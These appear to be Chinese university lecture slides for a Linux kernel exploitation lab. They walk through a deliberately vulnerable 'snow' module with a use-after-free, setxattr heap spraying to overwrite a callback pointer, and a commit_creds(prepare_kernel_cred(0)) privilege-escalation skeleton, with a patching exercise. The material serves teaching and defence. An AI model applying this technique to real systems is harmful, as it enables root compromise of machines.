

华中科技大学
HUAZHONG UNIVERSITY OF SCIENCE AND TECHNOLOGY

网络空间安全学院



Linux内核漏洞分析与利用实践

网络空间安全学院 慕冬亮

Email : dzm91@hust.edu.cn

教材



实验二 chall2_snow.tar.gz

名称

 chall2_snow_mod.c

内核模块源码，为后续打补丁做准备

 config-5.10.202

内核配置文件

 fs.sh

自动化脚本，解压缩cpio，加入exp，然后压缩cpio

 Makefile

 README.md

 rootfs.cpio

根文件系统，busybox


 run.sh

自动化启动 QEMU 脚本

 snow_exploit_uaf.c

需要编写的模块交互操作与 exploit

 snow_operations.c

 upload.py

Linux内核启动环境配置

- 安装QEMU
 - `sudo apt install qemu qemu-kvm`
- 编译Linux内核
 - `sudo apt-get install build-essential flex bison bc libelf-dev libssl-dev libncurses5-dev`
 - `https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/snapshot/linux-5.10.202.tar.gz`
 - `tar -xvf linux-5.10.202.tar.gz`
 - `cd linux-5.10.202`
 - `cp ../config-5.10.202 .config`
 - `make -j8`

Linux内核启动

QEMU 启动脚本: ./run.sh

```
qemu-system-x86_64 \  
-m 128M \  
-kernel ./bzImage \  
-initrd ./rootfs.cpio \  
-append 'console=ttyS0 debug llc  
panic=-1 nokaslr' \  
-netdev user,id=net \  
-device e1000,netdev=net \  
-no-reboot \  
-monitor /dev/null \  
-cpu qemu64 \  
-smp cores=2,threads=1 \  
-nographic
```

```
1  #!/bin/sh  
2  
3  set -x  
4  
5  if [ ! -d "core" ]; then  
6      cp rootfs.cpio rootfs.cpio.bak  
7      mkdir core  
8      cd core  
9      cpio -idmv < ../rootfs.cpio  
10     cd ..  
11 fi  
12  
13 # gcc -static exp.c -o exp  
14 # cp exp ./core/home/ctf/exp  
15 cd core  
16 find . | cpio -o --format=newc > ../rootfs.cpio  
17 cd ..  
18 # ./run.sh
```

Linux内核模块分析

```
94  static const struct file_operations snow_act_fops = {
95      |         .unlocked_ioctl = snow_act_ioctl,
96  };
97
98  static struct miscdevice misc = {
99      |         .minor = MISC_DYNAMIC_MINOR,
100     |         .name  = "snow",
101     |         .fops  = &snow_act_fops
102  };
103
104  int snow_init(void)
105  {
106      |         printk(KERN_INFO "Welcome to kernel challenge2 snow\n");
107      |         misc_register(&misc);
108      |         return 0;
109  }
110
111  void snow_exit(void)
112  {
113      |         printk(KERN_INFO "Goodbye hacker\n");
114      |         misc_deregister(&misc);
115  }
```



Linux内核模块交互

```
42 static long snow_act_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
43 {
44     ssize_t ret = 0;
45
46     switch (cmd) {
47 > case SNOW_ACT_ALLOC:
61 > case SNOW_ACT_CALLBACK: ...
74 > case SNOW_ACT_FREE:
80 > case SNOW_ACT_RESET:
85 > default: ...
89     }
90
91     return ret;
92 }
```

编写 C 语言和内核进行高效交互

```
int fd = open("/dev/snow", O_WRONLY);
```

```
ioctl(fd, NULL_ACT_ALLOC);
```

释放后使用漏洞

- 英文： Use After Free
- 释放后使用漏洞一般涉及三个步骤：
 - 一内存区域A被分配，且有指针p指向它
 - 该内存区域A被回收，但该指针p仍然指向这个区域
 - 该内存区域再次被分配，可利用残留指针p进行操作

```
p = kmalloc(SNOW_ITEM_SIZE, GPF_KERNEL);  
free(p); // 释放p所指向的对象  
// 使用残留指针 p 对已回收的数据区域进行操作  
q = kmalloc(SNOW_ITEM_SIZE, GPF_KERNEL)  
// 使用残留指针 p 对新分配的对象进行操作
```


释放后使用漏洞

```
p = kmalloc(SNOW_ITEM_SIZE, GPF_KERNEL);  
free(p); // 释放p所指向的对象1  
// 使用残留指针 p 对已回收的数据区域进行操作  
q = kmalloc(SNOW_ITEM_SIZE, GPF_KERNEL)  
// 使用残留指针 p 对新分配的对象2进行操作
```



释放后使用漏洞

```
47         case SNOW_ACT_ALLOC:
48             snow.item = kmalloc(SNOW_BUF_SIZE, GFP_KERNEL_ACCOUNT);
49             if (snow.item == NULL) {
50                 pr_err("snow: not enough memory for item\n");
51                 ret = -ENOMEM;
52                 break;
53             }
54
55             pr_notice("snow: kmalloc'ed buf at %lx (size %d)\n",
56                     (unsigned long)snow.item, SNOW_BUF_SIZE);
57
58             snow.item->callback = snow_callback;
59             break;

```



```
74         case SNOW_ACT_FREE:
75             pr_notice("snow: free buf at %lx\n",
76                     (unsigned long)snow.item);
77             kfree(snow.item);
78             break;
```

kfree 未对 SNOW.item 进行置空

释放后使用漏洞利用

```
413 setxattr(struct dentry *d, const char __user *name, const void __user *value,  
414          size_t size, int flags)  
415 {  
416     int error;  
417     void *kvalue = NULL;  
418     char kname[XATTR_NAME_MAX + 1];  
419  
420     if (flags & ~(XATTR_CREATE|XATTR_REPLACE))  
421         return -EINVAL;  
422  
423     error = strncpy_from_user(kname, name, sizeof(kname));  
424     if (error == 0 || error == sizeof(kname))  
425         error = -ERANGE;  
426     if (error < 0)  
427         return error;  
428  
429     if (size) {  
430         if (size > XATTR_SIZE_MAX)  
431             return -E2BIG;  
432         kvalue = kvmalloc(size, GFP_KERNEL);  
433         if (!kvalue)  
434             return -ENOMEM;  
435         if (copy_from_user(kvalue, value, size)) {  
436             error = -EFAULT;  
437             goto out;  
438         }  
439     }
```

修改callback指针

```
163 ret = setxattr("./", "foobar", spray_data, PAYLOAD_SZ, 0);  
164 printf("setxattr returned %d\n", ret);  
165
```

权限提升的漏洞利用框架

```
12  /* Addresses from System.map (no KASLR) */
13  #define COMMIT_CREDS_PTR          0x0000000000000000lu
14  #define PREPARE_KERNEL_CRED_PTR 0x0000000000000000lu
15
16  typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
17  typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
18
19  _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS_PTR;
20  _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED_PTR;
21
22  void __attribute__((regparm(3))) root_it(unsigned long arg1, bool arg2)
23  {
24      commit_creds(prepare_kernel_cred(0));
25  }
```

```
vagrant@ubuntu-focal:~/linux-5.0-rc1$ grep "commit_creds" System.map
fffffffff81084370 T commit_creds
fffffffff822a9d10 r __ksymtab_commit_creds
fffffffff822be157 r __kstrtab_commit_creds
```

COMMIT_CREDS_PTR, PREPARE_KERNEL_CRED_PTR 是函数 `commit_creds` 和 `prepare_kernel_cred` 的地址，具体地址在Linux内核目录下的 `System.map` 文件。并搜索并回答“`commit_creds(prepare_kernel_cred(0))`”为什么可以进行权限提升

实践二

- 实践目标
 - 利用内核模块中存在的“释放后使用漏洞”来完成权限提升
- 实践内容
 - 配置 QEMU 环境，并成功加载有漏洞的内核模块
 - 编写 C 语言和内核模块进行高效交互
 - 根据讲解内容完成漏洞利用编写

具体实验内容

- 完成内核模块的交互功能代码 (snow_operations.c);
- 完成 UAF 漏洞的利用代码 (snow_exploit_uaf.c)，提权后查看 /flag 中内容
- 编写漏洞修复，修复内核源码与内核模块中的安全漏洞，并替换有漏洞的内核模块进行验证

考察方式

- 线下完成攻击，学生通上提交实验证明
- 线上CTF比赛系统提交flag
- 学习通上提交修复补丁
- 第二次课程结束前一个小时左右，会有一次小型在线考试，考察一些实验中需要使用的知识点
 - 考试结束就关闭